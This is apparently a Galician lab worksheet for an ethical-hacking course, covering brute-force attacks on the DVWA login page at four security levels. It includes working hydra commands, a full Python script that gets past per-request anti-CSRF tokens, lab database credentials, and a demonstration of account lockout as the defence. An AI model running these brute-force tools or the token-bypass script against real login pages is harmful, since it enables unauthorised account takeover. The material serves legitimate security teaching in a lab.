Ir ao contido

Práctica 1a — Ataque de Forza Bruta con hydra sobre DVWA

Información da práctica

Sección: Prácticas Taller
Módulo: O hacking ético nas aplicacións web
Práctica: 1a — Forza Bruta con hydra
Prerrequisito: Índice da práctica — conceptos e configuración
Seguinte práctica: 1b — Forza Bruta con HexStrike AI

Aviso legal

Todo o contido desta práctica é para uso exclusivamente educativo nun contorno de laboratorio controlado e legal. Está terminantemente prohibido aplicar estas técnicas en sistemas reais sen autorización explícita e por escrito do propietario do sistema. O uso non autorizado destas técnicas pode constituír un delito penal.


Obxectivo desta práctica

Realizar o ataque de forza bruta nos catro niveis de DVWA usando hydra desde o terminal de Kali Linux, sen IA nin automatización adicional. O obxectivo é comprender o mecanismo técnico de cada nivel antes de ver como HexStrike AI automatiza o mesmo proceso na práctica 1b.


Verificación inicial

# Comprobar que DVWA está accesible
curl -s -o /dev/null -w "HTTP Status DVWA: %{http_code}\n" \
  http://10.0.2.100/dvwa/login.php

# Verificar que hydra está dispoñible
hydra -V 2>/dev/null | head -2

Resultados esperados

  • HTTP Status DVWA: 200
  • hydra mostra a súa versión (ex: Hydra v9.6)

Paso previo — Login e obtención da sesión

Consulta o índice

A explicación completa de por que DVWA require token CSRF está en Índice da práctica.

# Crear ficheiro de cookies
COOKIEJAR=$(mktemp /tmp/dvwa_cookies_XXXXXX.txt)

# Paso 1: Obter token CSRF do login
TOKEN=$(curl -s -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/login.php \
  | grep -oP "user_token.*?value='\\K[^']+")
echo "Token login: $TOKEN"

# Paso 2: POST login
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \
  http://10.0.2.100/dvwa/login.php \
  -d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
  -o /dev/null
echo "PHPSESSID: $(grep PHPSESSID $COOKIEJAR | awk '{print $7}')"

# Paso 3: Obter token CSRF de security.php
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/security.php \
  | grep -oP "user_token.*?value='\\K[^']+")

# Paso 4: Cambiar o nivel a low (con -L para seguir o redirect 302)
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
  http://10.0.2.100/dvwa/security.php \
  -d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
  | grep -oP "Security level is currently: <em>\\K[^<]+"
echo "Ficheiro de cookies: $COOKIEJAR"

Resultado esperado

Token login: 782f8ee73c56a3d0ca112a469eff9343
PHPSESSID: qr70dpmtcv5p2s1btstl0odle6
Ficheiro de cookies: /tmp/dvwa_cookies_ffPTsm.txt

Verificar o acceso

curl -s -b "$COOKIEJAR" \
  -o /dev/null \
  -w "HTTP Status Brute Force: %{http_code}\n" \
  http://10.0.2.100/dvwa/vulnerabilities/brute/

Resultado esperado

HTTP Status Brute Force: 200

NIVEL LOW — Ataque directo con hydra

Configurar o nivel

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/security.php \
  | grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
  http://10.0.2.100/dvwa/security.php \
  -d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
  | grep -oP "Security level is currently: <em>\\K[^<]+"

Identificar a mensaxe de fallo

curl -s -b "$COOKIEJAR" \
  'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
  | grep -o "Username and/or password incorrect"

Ataque con hydra

Hydra precisa o PHPSESSID e o nivel de seguridade como cookie. Extráeos do ficheiro:

PHPSESSID=$(grep PHPSESSID $COOKIEJAR | awk '{print $7}')

No nivel Low o formulario usa GET. O módulo http-get-form de hydra é o axeitado.

Sintaxe de hydra con cookies — \: e orde dos campos

O módulo http-get-form usa : como separador de campos. A cookie contén : en security=low; PHPSESSID=valor, o que require:

  • Escapar o : con \: dentro de H=Cookie\:
  • Usar comiñas simples para o terceiro argumento
  • Concatenar $PHPSESSID fóra das comiñas simples
  • Poñer F= ao final, despois da cookie
hydra -l admin \
  -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
  10.0.2.100 \
  http-get-form \
  '/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=low; PHPSESSID='${PHPSESSID}':F=Username and/or password incorrect' \
  -V -t 16

Parámetros clave:

Parámetro Significado
-l admin Usuario fixo a atacar
-P <wordlist> Ficheiro de contrasinais
http-get-form Módulo para formularios GET
H=Cookie\: security=low; PHPSESSID=... Cookie de sesión con : escapado
F=Username and/or password incorrect Cadea que indica fallo — vai ao final
-V Verbose — mostra cada intento
-t 16 Threads en paralelo

Resultado esperado

[80][http-get-form] host: 10.0.2.100   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found

NIVEL MEDIUM — Hydra adaptado ao retardo de 2 segundos

Configurar o nivel e medir o retardo

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/security.php \
  | grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
  http://10.0.2.100/dvwa/security.php \
  -d "security=medium&seclev_submit=Submit&user_token=$SEC_TOKEN" \
  | grep -oP "Security level is currently: <em>\\K[^<]+"

# Medir o retardo exacto
time curl -s -b "$COOKIEJAR" \
  'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
  -o /dev/null

Resultado esperado

real    0m2.029s

Ataque con hydra adaptado

PHPSESSID=$(grep PHPSESSID $COOKIEJAR | awk '{print $7}')

hydra -l admin \
  -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
  10.0.2.100 \
  http-get-form \
  '/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=medium; PHPSESSID='${PHPSESSID}':F=Username and/or password incorrect' \
  -V -t 1 -W 2
Parámetro novo Significado
-t 1 Un único thread — ataque secuencial para evitar problemas co retardo
-W 2 Espera 2 segundos entre intentos

Resultado esperado

[80][http-get-form] host: 10.0.2.100   login: admin   password: password

NIVEL HIGH — Script Python (hydra non é suficiente)

Por que hydra non funciona no nivel High?

O nivel High require obter un user_token fresco antes de cada petición. Hydra non pode facer isto de forma fiable porque:

Hydra (falla):
  Petición 1: token=abc123 → fallo (token válido pero contrasinal malo)
  Petición 2: token=abc123 → REXEITADO (token xa usado, caducou)
  Resultado: todos os intentos fallan por token inválido

Script Python (funciona):
  Intento 1: GET páxina → extraer token=abc123 → probar pass1 → fallo
  Intento 2: GET páxina → extraer token=xyz789 → probar pass2 → fallo
  Intento N: GET páxina → extraer token=def456 → probar passN → ÉXITO

Configurar o nivel e observar o token

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/security.php \
  | grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
  http://10.0.2.100/dvwa/security.php \
  -d "security=high&seclev_submit=Submit&user_token=$SEC_TOKEN" \
  | grep -oP "Security level is currently: <em>\\K[^<]+"

# Ver o token anti-CSRF na páxina de brute force
curl -s -b "$COOKIEJAR" \
  http://10.0.2.100/dvwa/vulnerabilities/brute/ \
  | grep "user_token"

Verás algo como:

<input type='hidden' name='user_token' value='a3f9b2c1d4e5...' />

Cada vez que recargas a páxina o token cambia.

Script Python con xestión de tokens

Garda este script como ~/dvwa-lab/brute_high.py:

#!/usr/bin/env python3
"""
Ataque de forza bruta DVWA nivel High con xestión de token anti-CSRF.
Práctica 1a — O hacking ético nas aplicacións web
"""

import requests
import re
import sys
from pathlib import Path
from time import time

TARGET_URL   = "http://10.0.2.100/dvwa/vulnerabilities/brute/"
LOGIN_URL    = "http://10.0.2.100/dvwa/login.php"
SECURITY_URL = "http://10.0.2.100/dvwa/security.php"
USERNAME     = "admin"
WORDLIST     = "/usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt"
SUCCESS_MSG  = "Welcome to the password protected area"


def login_dvwa(session: requests.Session) -> None:
    """Fai login en DVWA xestionando o token do formulario de login."""
    r = session.get(LOGIN_URL)
    match = re.search(r"user_token.*?value='([^']+)'", r.text)
    token = match.group(1) if match else ""
    session.post(LOGIN_URL, data={
        "username": "admin",
        "password": "password",
        "Login": "Login",
        "user_token": token
    })


def set_security(session: requests.Session, level: str) -> None:
    """Establece o nivel de seguridade en DVWA."""
    session.post(SECURITY_URL, data={
        "security": level,
        "seclev_submit": "Submit"
    })


def get_csrf_token(session: requests.Session) -> str:
    """Obtén un token anti-CSRF FRESCO. Debe chamarse antes de CADA intento."""
    r = session.get(TARGET_URL)
    match = re.search(r"user_token.*?value='([^']+)'", r.text)
    if match:
        return match.group(1)
    raise ValueError("[!] Non se puido extraer o token anti-CSRF")


def try_password(session: requests.Session, password: str) -> bool:
    """Proba un contrasinal con token fresco antes de cada intento."""
    token = get_csrf_token(session)
    r = session.get(TARGET_URL, params={
        "username": USERNAME,
        "password": password,
        "Login": "Login",
        "user_token": token
    })
    return SUCCESS_MSG in r.text


def main():
    wordlist_path = Path(WORDLIST)
    if not wordlist_path.exists():
        print(f"[!] Non se atopa a wordlist: {WORDLIST}")
        sys.exit(1)

    session = requests.Session()
    session.cookies.set("security", "high")

    print("[*] Facendo login en DVWA...")
    login_dvwa(session)
    print(f"[*] PHPSESSID: {session.cookies.get('PHPSESSID')}")

    print("[*] Configurando nivel HIGH...")
    set_security(session, "high")

    passwords = [p.strip() for p in
                 wordlist_path.read_text(encoding="latin-1").splitlines() if p.strip()]
    total = len(passwords)

    print(f"[*] Iniciando ataque con {total} contrasinais...")
    print(f"[*] Fluxo: GET token → probar contrasinal → repetir")
    print("-" * 60)

    start = time()
    for idx, password in enumerate(passwords, 1):
        try:
            print(f"[{idx:>4}/{total}] Probando: {password:<25}", end="\r")
            if try_password(session, password):
                elapsed = time() - start
                print(f"\n[+] CONTRASINAL ATOPADO: '{password}'")
                print(f"[+] Intentos realizados:  {idx}")
                print(f"[+] Tempo transcorrido:   {elapsed:.1f}s")
                sys.exit(0)
        except Exception as e:
            print(f"\n[!] Erro con '{password}': {e}")

    print(f"\n[-] Non se atopou o contrasinal tras {total} intentos.")


if __name__ == "__main__":
    main()

Executar o script

mkdir -p ~/dvwa-lab
python3 ~/dvwa-lab/brute_high.py

Resultado esperado

[*] Facendo login en DVWA...
[*] PHPSESSID: abc123xyz...
[*] Configurando nivel HIGH...
[*] Iniciando ataque con 197 contrasinais...
[*] Fluxo: GET token → probar contrasinal → repetir
[   4/197] Probando: password
[+] CONTRASINAL ATOPADO: 'password'
[+] Intentos realizados:  4
[+] Tempo transcorrido:   8.3s

NIVEL IMPOSSIBLE — Verificar que non é explotable

Por que non funciona o ataque?

O nivel Impossible implementa bloqueo de conta persistente en base de datos: tras 3 intentos fallidos consecutivos, a conta queda bloqueada durante 15 minutos. O contador non se resetea ao pechar o navegador nin ao iniciar unha nova sesión — só o tempo ou un reset manual na BD o desbloquean.

Isto fai que calquera ataque de forza bruta sexa impracticable:

Hydra con 197 contrasinais e 16 threads:
  Intentos 1-3:   incorrect  (contador sobe a 3)
  Intento 4+:     conta bloqueada 15 min → hydra non atopa o contrasinal

Paso 1 — Configurar o nivel Impossible

SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
  http://10.0.2.100/dvwa/security.php \
  | grep -oP "user_token.*?value='\\K[^']+")

curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
  http://10.0.2.100/dvwa/security.php \
  -d "security=impossible&seclev_submit=Submit&user_token=$SEC_TOKEN" \
  | grep -oP "Security level is currently: <em>\\K[^<]+"

Resultado esperado

impossible

Se non aparece impossible

A sesión PHPSESSID caducou. Repite o proceso de login completo do inicio.

Paso 2 — Resetear o contador na BD (servidor Ubuntu)

MySQL non acepta conexións remotas desde Kali

O porto 3306 non está exposto. O acceso á BD require SSH ao servidor Ubuntu.

O contador de fallos de admin pode ter valores acumulados de probas anteriores — incluídas as dos niveis Low, Medium e High desta mesma práctica. Se o contador xa ten 3 ou máis fallos rexistrados desde unha proba anterior, a conta estará bloqueada desde o principio e todos os intentos devolverán a mensaxe de bloqueo sen que poidamos observar a progresión real de 0 a 3 fallos. Por iso é imprescindible resetear o contador antes de comezar esta sección.

# Acceder ao servidor Ubuntu
ssh usuario@10.0.2.100

# Entrar en MySQL
mysql -u dvwa -p dvwa
# Contrasinal da BD: p@ssw0rd

Dentro de MySQL:

-- Verificar o estado actual do contador
SELECT user, failed_login, last_login FROM users WHERE user='admin';

-- Resetear o contador e o temporizador de bloqueo
UPDATE users SET failed_login=0, last_login=0 WHERE user='admin';

-- Confirmar que o reset se aplicou
SELECT user, failed_login, last_login FROM users WHERE user='admin';

Resultado esperado tras o UPDATE

+-------+--------------+---------------------+
| user  | failed_login | last_login          |
+-------+--------------+---------------------+
| admin |            0 | 0000-00-00 00:00:00 |
+-------+--------------+---------------------+

Paso 3 — Demostrar o bloqueo

Desde Kali, fai varios intentos con contrasinal incorrecto:

for i in {1..5}; do
  BF_TOKEN=$(curl -s -b "$COOKIEJAR" \
    http://10.0.2.100/dvwa/vulnerabilities/brute/ \
    | grep -oP "user_token.*?value='\\K[^']+")
  RESP=$(curl -s -b "$COOKIEJAR" -L \
    -X POST \
    -d "username=admin&password=test${i}&Login=Login&user_token=${BF_TOKEN}" \
    http://10.0.2.100/dvwa/vulnerabilities/brute/)
  echo "Intento $i: $(echo "$RESP" | grep -oE 'incorrect|locked' | head -1)"
done

Por que o loop mostra incorrect en todos os intentos?

O servidor sempre inclúe a cadea incorrect na resposta, mesmo cando a conta está bloqueada. O bloqueo engádese como mensaxe adicional. Para velo completo usa este comando:

BF_TOKEN=$(curl -s -b "$COOKIEJAR" \
  http://10.0.2.100/dvwa/vulnerabilities/brute/ \
  | grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -L -X POST \
  -d "username=admin&password=test_malo&Login=Login&user_token=${BF_TOKEN}" \
  http://10.0.2.100/dvwa/vulnerabilities/brute/ \
  | grep -oP '(?<=<pre>).*?(?=</pre>)' | sed 's/<[^>]*>//g'

Resultado esperado cando a conta está bloqueada

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in 15 minutes.

Paso 4 — Verificar o contador na BD tras o ataque

Desde o servidor Ubuntu, confirma que o contador se incrementou:

ssh usuario@10.0.2.100
mysql -u dvwa -p dvwa \
  -e "SELECT user, failed_login, last_login FROM users WHERE user='admin';"

Resultado esperado

+-------+--------------+---------------------+
| user  | failed_login | last_login          |
+-------+--------------+---------------------+
| admin |            6 | 2026-04-25 21:45:36 |
+-------+--------------+---------------------+
failed_login=6 (ou superior) confirma que DVWA rexistrou os intentos na BD e que o bloqueo está activo. A conta permanecerá bloqueada ata que last_login + 15 minutos > now() ou ata que se resetee manualmente co UPDATE do Paso 2.


Resumo: ferramentas por nivel

Nivel Ferramenta efectiva Motivo
Low hydra ✅ GET sen proteccións, sintaxe directa
Medium hydra ✅ (-W 2) Retardo fixo, adaptable con -W
High Script Python ✅ · hydra ❌ Token anti-CSRF por petición
Impossible Ningunha ❌ Bloqueo de conta aos 3 fallos